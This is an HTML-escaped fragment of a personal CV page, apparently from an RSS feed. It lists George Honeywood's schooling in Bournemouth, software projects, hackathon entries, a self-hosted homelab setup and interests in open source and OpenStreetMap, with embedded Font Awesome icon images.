&lt;svg class="typst-frame" style="overflow: visible; width: 0.9020618556701032em; height: 1.0309278350515465em;" viewBox="0 0 8.75 10" width="8.75pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0NDggNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTE1MiA2NEgyOTZWMjRDMjk2IDEwLjc1IDMwNi43IDAgMzIwIDBDMzMzLjMgMCAzNDQgMTAuNzUgMzQ0IDI0VjY0SDM4NEM0MTkuMyA2NCA0NDggOTIuNjUgNDQ4IDEyOFY0NDhDNDQ4IDQ4My4zIDQxOS4zIDUxMiAzODQgNTEySDY0QzI4LjY1IDUxMiAwIDQ4My4zIDAgNDQ4VjEyOEMwIDkyLjY1IDI4LjY1IDY0IDY0IDY0SDEwNFYyNEMxMDQgMTAuNzUgMTE0LjcgMCAxMjggMEMxNDEuMyAwIDE1MiAxMC43NSAxNTIgMjRWNjR6TTQ4IDQ0OEM0OCA0NTYuOCA1NS4xNiA0NjQgNjQgNDY0SDM4NEMzOTIuOCA0NjQgNDAwIDQ1Ni44IDQwMCA0NDhWMTkySDQ4VjQ0OHoiLz48L3N2Zz4=" width="8.75" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Sep 2017 — Aug 2019&lt;/div&gt;
&lt;svg class="typst-frame" style="overflow: visible; width: 0.7731958762886599em; height: 1.0309278350515465em;" viewBox="0 0 7.5 10" width="7.5pt" height="10pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:h5="http://www.w3.org/1999/xhtml"&gt;&lt;g&gt;&lt;g class="typst-group"&gt;&lt;g&gt;&lt;image xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAzODQgNTEyIj48IS0tISBGb250IEF3ZXNvbWUgRnJlZSA2LjIuMSBieSBAZm9udGF3ZXNvbWUgLSBodHRwczovL2ZvbnRhd2Vzb21lLmNvbSBMaWNlbnNlIC0gaHR0cHM6Ly9mb250YXdlc29tZS5jb20vbGljZW5zZS9mcmVlIChJY29uczogQ0MgQlkgNC4wLCBGb250czogU0lMIE9GTCAxLjEsIENvZGU6IE1JVCBMaWNlbnNlKSBDb3B5cmlnaHQgMjAyMiBGb250aWNvbnMsIEluYy4gLS0+PHBhdGggZD0iTTIxNS43IDQ5OS4yQzI2NyA0MzUgMzg0IDI3OS40IDM4NCAxOTJDMzg0IDg2IDI5OCAwIDE5MiAwUzAgODYgMCAxOTJjMCA4Ny40IDExNyAyNDMgMTY4LjMgMzA3LjJjMTIuMyAxNS4zIDM1LjEgMTUuMyA0Ny40IDB6TTE5MiAyNTZjLTM1LjMgMC02NC0yOC43LTY0LTY0czI4LjctNjQgNjQtNjRzNjQgMjguNyA2NCA2NHMtMjguNyA2NC02NCA2NHoiLz48L3N2Zz4=" width="7.5" height="10" preserveAspectRatio="none"/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
&lt;div&gt;Bournemouth, Dorset&lt;/div&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Computer Science (B), Geography (B), Resistant Materials (C), and Physics (D)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Projects&lt;/h3&gt;
&lt;h4&gt;&lt;a href="https://github.com/GeorgeHoneywood/drazil"&gt;Web Music Player&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Created a Spotify-like online music player for your private music collection, with a Go backend and a Vue frontend. Has an album artwork view, and you can queue up songs.&lt;/p&gt;
&lt;h4&gt;&lt;a href="https://github.com/GeorgeHoneywood/thegoodmap/"&gt;The Good Map&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Collaboratively developed a cross-platform mobile app in Flutter, to allow users to find ecofriendly establishments, using data from OpenStreetMap.&lt;/p&gt;
&lt;h4&gt;Employee Appraisal System&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;University project, worked as part of a 4-person team to create a web app, designed to evaluate employees of a company.&lt;/li&gt;
&lt;li&gt;Developed an API in Flask to conform to a Requirements Specification and Design Description.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Hackathons&lt;/h4&gt;
&lt;dl&gt;
&lt;dt&gt;&lt;a href="https://github.com/GeorgeHoneywood/PubHub"&gt;Pub Hub&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;collaborated on a tool designed to find the optimal route for a pub crawl, providing a solution for the travelling salesman problem.&lt;/dd&gt;
&lt;dt&gt;&lt;a href="https://github.com/JoeRourke123/metamap"&gt;Metamap&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;developed a location based social media app for Android, with the concept of only showing posts within a certain radius of the user.&lt;/dd&gt;
&lt;/dl&gt;
&lt;h4&gt;Homelab&lt;/h4&gt;
&lt;p&gt;I administrate a headless server which hosts utilities and storage for my home network. It runs Proxmox VE as a hypervisor, with ZFS to provide storage. Each service runs in a separate LXC container, which provides some isolation, without the overhead of full VMs.&lt;br&gt;I also use a small VPS to run other services, like my &lt;a href="https://george.honeywood.org.uk"&gt;personal website&lt;/a&gt; (that you are currently viewing!) and a WireGuard®︎ VPN.&lt;/p&gt;
&lt;h3&gt;Interests&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Using and contributing to free &amp;amp; open-source software&lt;/li&gt;
&lt;li&gt;Editing OpenStreetMap, using JOSM or Every Door&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description></item></channel></rss>